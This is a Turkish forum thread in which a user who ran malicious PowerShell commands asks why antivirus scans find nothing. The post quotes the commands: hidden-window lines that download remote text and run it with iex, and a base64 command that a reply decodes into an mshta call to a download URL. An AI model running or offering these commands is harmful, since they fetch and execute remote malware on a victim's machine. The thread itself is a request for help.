PowerShell'de çalıştırılan virüsü Malwarebytes ve Defender bulamıyor

firtina44 dedi:

Dün dalgınlıkla PowerShell'de iki tane komut çalıştırdım virüs olduğunu kendime gelince anladım, komutları aşağı bırakıyorum. Olayı anladıktan hemen sonra Windows Defender Çevrimdışı tarama yaptım 11dk sürdü bir şey bulamadı, Malwarebytes ile 2-3kere tarama yaptım o da bulamadı. Fikirleriniz benim için önemli virüs temizlendiği için mi bulunamıyor yoksa kendini iyi mi gizliyor?

Komutlar:

Kod:

powershell.exe -W Hidden -command [imath]url = 'https mega01.b-cdn.net/meg.txt';[/imath]response = Invoke-WebRequest -Uri [imath]url -UseBasicParsing;[/imath]text = [imath]response.Content; iex[/imath]text

.run steamtools;powershell.exe -W Hidden -command [imath]url = 'https mega01.b-cdn.net/meg.txt';[/imath]response = Invoke-WebRequest -Uri [imath]url -UseBasicParsing;[/imath]text = [imath]response.Content; iex[/imath]text

Bir de bu var
powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYwBsAGkAYwBrAHQAbwBnAG8ALgBjAGwAaQBjAGsALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHQAcgAwADgAIgA=

Genişletmek için tıkla...

firtina44 dedi:

Sorun olmaz mı yani hocam?


powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYwBsAGkAYwBrAHQAbwBnAG8ALgBjAGwAaQBjAGsALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHQAcgAwADgAIgA=

Bu kodun çözümlenmiş hali bu.
mshta https://clicktogo.click/downloads/tr08
İsterseniz bir de bu siteye bakın hocam.

Genişletmek için tıkla...